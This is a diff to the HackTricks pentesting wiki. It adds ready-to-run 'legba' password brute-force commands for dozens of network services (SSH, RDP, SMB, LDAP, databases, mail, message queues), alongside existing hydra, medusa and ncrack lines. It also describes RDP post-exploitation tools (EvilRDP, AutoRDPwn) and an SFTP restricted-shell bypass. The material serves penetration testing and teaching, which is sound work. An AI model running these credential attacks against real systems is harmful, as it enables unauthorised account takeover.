GITBOOK-4219: change request with no subject merged in GitBook

SUMMARY.md

@@ -260,7 +260,7 @@
   * [MSSQL AD Abuse](windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
   * [Over Pass the Hash/Pass the Key](windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md)
   * [Pass the Ticket](windows-hardening/active-directory-methodology/pass-the-ticket.md)
-  * [Password Spraying](windows-hardening/active-directory-methodology/password-spraying.md)
+  * [Password Spraying / Brute Force](windows-hardening/active-directory-methodology/password-spraying.md)
   * [PrintNightmare](windows-hardening/active-directory-methodology/printnightmare.md)
   * [Force NTLM Privileged Authentication](windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
   * [Privileged Groups](windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md)

generic-methodologies-and-resources/brute-force.md

@@ -136,10 +136,18 @@ msf> run
 nmap --script ajp-brute -p 8009 <IP>
 ```
 
+## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)
+
+```bash
+legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
+```
+
 ### Cassandra
 
 ```bash
 nmap --script cassandra-brute -p 9160 <IP>
+# legba ScyllaDB / Apache Casandra
+legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042
 ```
 
 ### CouchDB
@@ -167,6 +175,7 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordl
 hydra -l root -P passwords.txt [-t 32] <IP> ftp
 ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
 medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
+legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
 ```
 
 ### HTTP Generic Brute
@@ -179,6 +188,14 @@ medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
 hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
 # Use https-get mode for https
 medusa -h <IP> -u <username> -P  <passwords.txt> -M  http -m DIR:/path/to/auth -T 10
+legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/
+```
+
+### HTTP - NTLM
+
+```bash
+legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
+legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
 ```
 
 ### HTTP - Post Form
@@ -194,6 +211,7 @@ For http**s** you have to change from "http-post-form" to "**https-post-form"**
 
 ```bash
 cmsmap -f W/J/D/M -u a -p a https://wordpress.com
+# Check also https://github.com/evilsocket/legba/wiki/HTTP
 ```
 
 ### IMAP
@@ -202,6 +220,7 @@ cmsmap -f W/J/D/M -u a -p a https://wordpress.com
 hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
 hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
 nmap -sV --script imap-brute -p <PORT> <IP>
+legba imap --username user --password data/passwords.txt --target localhost:993
 ```
 
 ### IRC
@@ -245,12 +264,14 @@ jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibm
 
 ```bash
 nmap --script ldap-brute -p 389 <IP>
+legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
 ```
 
 ### MQTT
 
 ```
 ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
+legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt 
 ```
 
 ### Mongo
@@ -258,6 +279,13 @@ ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
 ```bash
 nmap -sV --script mongodb-brute -n -p 27017 <IP>
 use auxiliary/scanner/mongodb/mongodb_login
+legba mongodb --target localhost:27017 --username root --password data/passwords.txt
+```
+
+### MSSQL
+
+```bash
+legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
 ```
 
 ### MySQL
@@ -271,6 +299,9 @@ msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false
 
 # medusa
 medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on first success attempt> -t <threads> -M mysql
+
+#Legba
+legba mysql --username root --password wordlists/passwords.txt --target localhost:3306
 ```
 
 ### OracleSQL
@@ -295,6 +326,8 @@ msf> set SID <SID>
 
 #for some reason nmap fails sometimes when executing this script
 nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
+
+legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
 ```
 
 In order to use **oracle\_login** with **patator** you need to **install**:
@@ -314,6 +347,12 @@ pip3 install cx_Oracle --upgrade
 ```bash
 hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
 hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
+
+# Insecure
+legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:110
+
+# SSL
+legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl
 ```
 
 ### PostgreSQL
@@ -325,6 +364,7 @@ ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432
 patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
 use auxiliary/scanner/postgres/postgres_login
 nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
+legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432
 ```
 
 ### PPTP
@@ -341,6 +381,7 @@ cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>
 ```bash
 ncrack -vv --user <User> -P pwds.txt rdp://<IP>
 hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
+legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
 ```
 
 ### Redis
@@ -349,6 +390,7 @@ hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
 msf> use auxiliary/scanner/redis/redis_login
 nmap --script redis-brute -p 6379 <IP>
 hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
+legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]
 ```
 
 ### Rexec
@@ -383,6 +425,14 @@ nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/va
 hydra -l root -P passwords.txt <IP> rtsp
 ```
 
+### SFTP
+
+```bash
+legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
+# Try keys from a folder
+legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
+```
+
 ### SNMP
 
 ```bash
@@ -397,6 +447,7 @@ hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt ta
 ```bash
 nmap --script smb-brute -p 445 <IP>
 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
+legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]
 ```
 
 ### SMTP
@@ -404,27 +455,18 @@ hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
 ```bash
 hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
 hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
+legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]
 ```
 
 ### SOCKS
 
 ```bash
 nmap  -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
+legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
+# With alternative address
+legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080
 ```
 
-### SSH
-
-```bash
-hydra -l root -P passwords.txt [-t 32] <IP> ssh
-ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
-medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
-patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
-```
-
-#### Weak SSH keys / Debian predictable PRNG
-
-Some systems have known flaws in the random seed used to generate cryptographic material. This can result in a dramatically reduced keyspace which can be bruteforced with tools such as [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Pre-generated sets of weak keys are also available such as [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
-
 ### SQL Server
 
 ```bash
@@ -436,12 +478,45 @@ nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=cust
 msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
 ```
 
+### SSH
+
+```bash
+hydra -l root -P passwords.txt [-t 32] <IP> ssh
+ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
+medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
+patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
+legba ssh --username admin --password wordlists/passwords.txt --target localhost:22
+# Try keys from a folder
+legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
+```
+
+#### Weak SSH keys / Debian predictable PRNG
+
+Some systems have known flaws in the random seed used to generate cryptographic material. This can result in a dramatically reduced keyspace which can be bruteforced with tools such as [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Pre-generated sets of weak keys are also available such as [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
+
+### STOMP (ActiveMQ, RabbitMQ, HornetQ and OpenMQ)
+
+The STOMP text protocol allows interaction with message queueing services like ActiveMQ, RabbitMQ, HornetQ and OpenMQ.
+
+```bash
+legba stomp --target localhost:61613 --username admin --password data/passwords.txt
+```
+
 ### Telnet
 
 ```bash
 hydra -l root -P passwords.txt [-t 32] <IP> telnet
 ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
 medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet
+
+legba telnet \
+    --username admin \
+    --password wordlists/passwords.txt \
+    --target localhost:23 \
+    --telnet-user-prompt "login: " \
+    --telnet-pass-prompt "Password: " \
+    --telnet-prompt ":~$ " \
+    --single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
 ```
 
 ### VNC
@@ -453,6 +528,7 @@ ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
 patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0
 use auxiliary/scanner/vnc/vnc_login
 nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
+legba vnc --target localhost:5901 --password data/passwords.txt
 
 #Metasploit
 use auxiliary/scanner/vnc/vnc_login

network-services-pentesting/5671-5672-pentesting-amqp.md

@@ -1,23 +1,18 @@
-
+# 5671,5672 - Pentesting AMQP
 
 <details>
 
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
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+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-
-- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
 
 </details>
 
-
+## Basic Information
-# Basic Information
 
 **RabbitMQ** is a **message-queueing software** also known as a _message broker_ or _queue manager._ Simply said; it is software where queues are defined, to which applications connect in order to transfer a message or messages.\
 A **message can include any kind of information**. It could, for example, have information about a process or task that should start on another application (which could even be on another server), or it could be just a simple text message. The queue-manager software stores the messages until a receiving application connects and takes a message off the queue. The receiving application then processes the message.\
@@ -30,9 +25,9 @@ PORT     STATE SERVICE VERSION
 5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
 ```
 
-# Enumeration
+## Enumeration
 
-## Manual
+### Manual
 
 ```python
 import amqp
@@ -43,7 +38,7 @@ for k, v in conn.server_properties.items():
     print(k, v)
 ```
 
-## Automatic
+### Automatic
 
 ```bash
 nmap -sV -Pn -n -T4 -p 5672 --script amqp-info <IP>
@@ -65,7 +60,12 @@ PORT     STATE SERVICE VERSION
 |_  locales: en_US
 ```
 
-# Other RabbitMQ ports
+### Brute Force
+
+* [**AMQP Protocol Brute-Force**](../generic-methodologies-and-resources/brute-force.md#amqp-activemq-rabbitmq-qpid-joram-and-solace)
+* [**STOMP Protocol Brute-Force**](../generic-methodologies-and-resources/brute-force.md#stomp-activemq-rabbitmq-hornetq-and-openmq)
+
+## Other RabbitMQ ports
 
 From [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) you can find that **rabbitmq uses several ports**:
 
@@ -80,25 +80,18 @@ From [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/network
 * 35672-35682: used by CLI tools (Erlang distribution client ports) for communication with nodes and is allocated from a dynamic range (computed as server distribution port + 10000 through server distribution port + 10010). See [networking guide](https://www.rabbitmq.com/networking.html) for details.
 * 61613, 61614: [STOMP clients](https://stomp.github.io/stomp-specification-1.2.html) without and with TLS (only if the [STOMP plugin](https://www.rabbitmq.com/stomp.html) is enabled). Less than 10 devices with this port open and mostly UDP for DHT nodes.
 
-# Shodan
+## Shodan
 
 * `AMQP`
 
-
 <details>
 
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
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-
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-
-- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
 
 </details>
-
-

network-services-pentesting/pentesting-ldap.md

@@ -7,8 +7,8 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
@@ -111,7 +111,7 @@ ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
 
 ### LDAP anonymous binds
 
-[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) allow **unauthenticated attackers** to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. This is a **legacy configuration**, and as of Windows Server 2003, only authenticated users are permitted to initiate LDAP requests. \
+[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) allow **unauthenticated attackers** to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. This is a **legacy configuration**, and as of Windows Server 2003, only authenticated users are permitted to initiate LDAP requests.\
 However, admins may have needed to **set up a particular application to allow anonymous binds** and given out more than the intended amount of access, thereby giving unauthenticated users access to all objects in AD.
 
 ## Valid Credentials
@@ -186,7 +186,7 @@ True
 
 ### windapsearch
 
-[**Windapsearch**](https://github.com/ropnop/windapsearch) **** is a Python script useful to **enumerate users, groups, and computers from a Windows** domain by utilizing LDAP queries.
+[**Windapsearch**](https://github.com/ropnop/windapsearch) \*\*\*\* is a Python script useful to **enumerate users, groups, and computers from a Windows** domain by utilizing LDAP queries.
 
 ```bash
 # Get computers
@@ -351,6 +351,10 @@ By default is is installed in: _/opt/jxplorer_
 
 ![](<../.gitbook/assets/image (22) (1).png>)
 
+### Godap
+
+You can access it in [https://github.com/Macmod/godap](https://github.com/Macmod/godap)
+
 ## Authentication via kerberos
 
 Using `ldapsearch` you can **authenticate** against **kerberos instead** of via **NTLM** by using the parameter `-Y GSSAPI`
@@ -436,7 +440,7 @@ Entry_6:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

network-services-pentesting/pentesting-rdp.md

@@ -34,9 +34,11 @@ PORT     STATE SERVICE
 
 ### Automatic
 
+{% code overflow="wrap" %}
 ```bash
 nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
 ```
+{% endcode %}
 
 It checks the available encryption and DoS vulnerability (without causing DoS to the service) and obtains NTLM Windows info (versions).
 
@@ -134,11 +136,18 @@ If someone from a different domain or with **better privileges login via RDP** t
 net localgroup "Remote Desktop Users" UserLoginName /add
 ```
 
-## Shadow Attack
+## Automatic Tools
+
+* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
 
 **AutoRDPwn** is a post-exploitation framework created in Powershell, designed primarily to automate the **Shadow** attack on Microsoft Windows computers. This vulnerability (listed as a feature by Microsoft) allows a remote attacker to **view his victim's desktop without his consent**, and even control it on demand, using tools native to the operating system itself.
 
-{% embed url="https://github.com/JoelGMSec/AutoRDPwn" %}
+* [**EvilRDP**](https://github.com/skelsec/evilrdp)
+  * Control mouse and keyboard in an automated way from command line
+  * Control clipboard in an automated way from command line
+  * Spawn a SOCKS proxy from the client that channels network communication to the target via RDP
+  * Execute arbitrary SHELL and PowerShell commands on the target without uploading files
+  * Upload and download files to/from the target even when file transfers are disabled on the target
 
 ## HackTricks Automatic Commands
 

network-services-pentesting/pentesting-smb.md

@@ -7,8 +7,8 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
@@ -108,6 +108,10 @@ searchsploit microsoft smb
 | backupexec, backup   | backupexec, backup, arcada                |
 | test, lab, demo      | password, test, lab, demo                 |
 
+### Brute Force
+
+* [**SMB Brute Force**](../generic-methodologies-and-resources/brute-force.md#smb)
+
 ### SMB Environment Information
 
 ### Obtain Information
@@ -165,7 +169,8 @@ for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(pri
 ```
 
 ### Metasploit - Enumerate local users
- ```bash
+
+```bash
 use auxiliary/scanner/smb/smb_lookupsid
 set rhosts hostname.local
 run
@@ -342,7 +347,7 @@ Commands:
 
 ### Domain Shared Folders Search
 
-* [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
+* [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
 
 ```bash
 Snaffler.exe -s -d domain.local -o snaffler.log -v data
@@ -597,7 +602,7 @@ Entry_6:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

network-services-pentesting/pentesting-ssh.md

@@ -191,7 +191,7 @@ If you are in the local network as the victim which is going to connect to the S
 * the attacker monitors attempts to connect to the SSH server and redirects them to its SSH server
 * the attacker's SSH server is configured, firstly, to log all entered data, including the user's password, and, secondly, send commands to the legitimate SSH server to which the user wants to connect, to execute them, and then return the results to the legitimate user
 
-\*\*\*\*[**SSH MITM**](https://github.com/jtesta/ssh-mitm) \*\*\*\* does exactly what is described above.
+[**SSH MITM**](https://github.com/jtesta/ssh-mitm) does exactly what is described above.
 
 In order to capture perform the actual MitM you could use techniques like ARP spoofing, DNS spoofin or others described in the [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/#spoofing).
 
@@ -208,12 +208,16 @@ By default most SSH server implementation will allow root login, it is advised t
 3. Take into account configuration changes: `sudo systemctl daemon-reload`
 4. Restart the SSH server `sudo systemctl restart sshd`
 
+### SFTP Brute Force
+
+* [**SFTP Brute Force**](../generic-methodologies-and-resources/brute-force.md#sftp)
+
 ### SFTP command execution
 
 Another common SSH misconfiguration is often seen in SFTP configuration. Most of the time when creating a SFTP server the administrator want users to have a SFTP access to share files but not to get a remote shell on the machine. So they think that creating a user, attributing him a placeholder shell (like `/usr/bin/nologin` or `/usr/bin/false`) and chrooting him in a jail is enough to avoid a shell access or abuse on the whole file system. But they are wrong, **a user can ask to execute a command right after authentication before it’s default command or shell is executed**. So to bypass the placeholder shell that will deny shell access, one only has to ask to execute a command (eg. `/bin/bash`) before, just by doing:
 
-```
+```bash
-$ ssh -v noraj@192.168.1.94 id
+ssh -v noraj@192.168.1.94 id
 ...
 Password:
 debug1: Authentication succeeded (keyboard-interactive).
